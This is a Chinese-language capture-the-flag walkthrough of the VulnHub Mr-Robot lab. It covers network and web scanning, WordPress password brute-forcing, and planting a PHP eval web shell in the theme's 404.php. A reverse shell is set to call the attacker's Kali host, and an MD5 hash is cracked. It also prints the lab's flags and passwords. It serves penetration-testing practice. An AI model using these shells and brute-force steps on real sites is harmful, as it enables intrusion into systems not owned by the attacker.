从vulnhub下载并且用vmware打开Mr-Robot后,先看看是否已经给出ip地址,如果没有,就用我的kali攻击机执行买了arp-scan -l 扫描,看能否扫描出相应的ip。如果不能,就需要通过所谓拯救模式进行操作。
攻击机kali与靶机均在vmware下的NAT网段10.1.1.0/24。
arp-scan -l
可以扫描出靶机ip 为:
10.1.1.135
扫描端口信息
nmap -A -p- 10.1.1.135
开放了80端口和443端口对应的http和https服务,我们可以进入网站试试如何展开渗透测试
这是一个linux网站,提供了prepare,fsociety,inform,question,wakeup,join等命令。
输入prepare命令发现是一个视频。
我们要扫描该网页,可以应用著名的扫描神器nikto,它可以对网页进行全面的多种扫描,包含超过3300种有潜在危险的文件/CGIs;超过625种服务器版本;超过230种特定服务器问题。扫描项和插件可以自动更新(如果需要)。基于Whisker/libwhisker完成其底层功能。这是一款非常棒的工具.
nikto -h 10.1.1.135
再用dirb扫描。只要字典足够大,用时长一些,该扫描的效果还是不错的,可以扫描出网站几乎所有的网页。
dirb http://10.1.1.135
经过一段时间的扫描(有时可能时间长,渗透测试有充分的耐心是其基本修养),发现有很多目录,其中值得注意的目录有/readme、/admin,/robots.txt、/wp-admin,/wp-login等。
访问robots.txt
轻易就得到第一个flag!
073403c8a58a1f80d943455fb30724b9
看到很多的字典文件。
wget http://10.1.1.135/fsocity.dic
socity较大,7.0M,猜测可能有重复的
用命令:cat fsocity.dic | sort -u > dic.txt,去重后写入新的文件,发现去重后的字典dic.txt只有95kb大小了
应该可以利用字典文件,进行爆破登录的。
我们用burpsuite的intruder爆破,字典就用dic.txt。(也可用wpscan,gobuster,hydra工具进行扫描、爆破)
用户名可能为elliot、Elliot、ELLIOT,也即不区分大小写的elliot:
对密码字段进行爆破,发现密码可能为ER28-0652
成功登录后台
WordPress往往可以利用其404文件,是wp-admin下文件,通过编辑写入恶意代码,再直接用蚁剑之类直接连接,拿下GetShell,并且一般都在一个叫Editor的栏目下
点击404文件,修改Twenty Fifteen: 404 Template (404.php)为一句话木马
<?php eval($_REQUEST['hhh']);?>
404.php在http://10.1.1.135/wp-content/themes/twentyfifteen/404.php
成功进入了靶机!
发现有个可疑的robot目录,下面还有个密码文件,和第二个flag的txt文件,直接用蚁剑访问flag文件读不出东西,显然有权限限制,
再看password.raw-md5密码文件
可见md5密码值c3fcd3d76192e4007dfb496cca67e13b
到相关md5破译网站,可以获得robot的密码:
如果可以进行ssh连接,也就等于直接登录靶机
得到第二个flag
822c73956184f694993bede3eb39f959
如果不直接进行ssh靶机登录,就要进行相应的提权操作
find / -name php-reverse-shell.php
使用
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
按照文件操作要求,设置ip地址为kali攻击机ip:10.1.1.128,保持端口为默认8888不变,
将修改后的php反弹代码粘贴在WordPress中editor页面的404.php文件。
在Kali上使用nc监听相应的8888端口
在浏览器中访问修改过的404.php,
http://10.1.1.135/wp-content/themes/twentyfifteen/404.php
得到反弹shell。
文件都在robot下
进入robot看看
直接查看key-2-of-3.txt即第二个flag的权限不够,但可以进入用户robot,已经给出了对应的密码md5值,到相关md5破译网站,可以获得robot的密码:abcdefghijklmnopqrstuvwxyz
要在终端下运行。我们打开交互式终端
python -c 'import pty;pty.spawn("/bin/bash")'
就得到第二个flag
822c73956184f694993bede3eb39f959